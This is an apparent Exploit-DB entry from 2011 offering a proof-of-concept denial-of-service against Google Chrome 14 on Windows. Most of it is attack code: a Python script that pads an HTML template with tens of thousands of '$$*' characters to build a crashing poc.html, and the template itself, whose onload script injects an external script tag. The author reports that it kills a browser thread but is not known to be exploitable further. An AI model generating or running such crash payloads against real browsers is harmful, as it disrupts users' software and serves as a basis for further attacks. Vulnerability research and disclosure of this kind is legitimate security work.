Google Chrome - Killing Thread (PoC)

EDB-ID:

18019

CVE:


Author:

pigtail23

Type:

dos

Platform:

Windows

Published:

2011-10-22

## _  (`-')  _   pigtail23   (`-')     (`-')  _   _           www.remoteshell.de ##
## \-.(OO ) (_)        .->   ( OO).->  (OO ).-/  (_)      <-.                    ##
## _.'    \ ,-(`-') ,---(`-')/    '._  / ,---.   ,-(`-'),--. )   .----.  .----.  ##
##(_...--'' | ( OO)'  .-(OO )|'--...__)| \ /`.\  | ( OO)|  (`-')\_,-.  |\_.-,  | ##
##|  |_.' | |  |  )|  | .-, \`--.  .--''-'|_.' | |  |  )|  |OO )   .' .'  |_  <  ##
##|  .___.'(|  |_/ |  | '.(_/   |  |  (|  .-.  |(|  |_/(|  '__ | .'  /_ .-. \  | ##
##|  |      |  |'->|  '-'  |    |  |   |  | |  | |  |'->|     |'|      |\ `-'  / ##
##`--'      `--'    `-----'     `--'   `--' `--' `--'   `-----' `------' `---''  ##
###################################################################################
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October 22, 2011

Ohh nice! What u doing google? Thx 4 ur bug! 0__o

Google Chrome PoC, killing thread. Exploitable or only a DOS!? Found no way to exploit it. Good Luck!!!

Testsystem: WinXP SP3, Win7(64 bit)
Google Chrome version: 14.0.835.202

Greetings to:
mr_insecure, myownremote, noptrix, Eph, lnxg33k, CyberMaN,...
TheXero, Dexter, #back-track.de and #intern0t @ irc.freenode.net

###################################################################################

poc.html:

too big!

###################################################################################

Python script for debugging:

#!/usr/bin/python

filename = 'poc.html'
content = open('template.html', 'r').read()

buff = '$$*' * 36800 

rc = 484
content2 = content[:rc] + buff + content[rc:]	

FILE = open(filename,"w")
FILE.write(content2)
FILE.close()

###################################################################################


template.html:

<html>
<body>
<script>(function(){var d=document;if(!("autofocus" in d.createElement("input"))){try{d.getElementById("yschsp").focus();}catch(e){}}data={"assist":{"url":"http:\/\/www.google.com","maxLength":38,"linkStem":"http:\/\/www.remoteshell.de","settingsUrl":"http:\/\/www.chrooome.xxx","strings":{"searchbox_title":"bam","settings_text":"bam","gossip_desc":"bam","scroll_up":"bam","scroll_down":"bam","aria_available_suggestions":"bam","aria_no_suggestion_available":"bam"}}};window.onload=function(){var h=d.getElementsByTagName("head")[0],o=d.createElement("script");o.src="http://www.0__o";h.appendChild(o);};}());</script>
</body>
</html>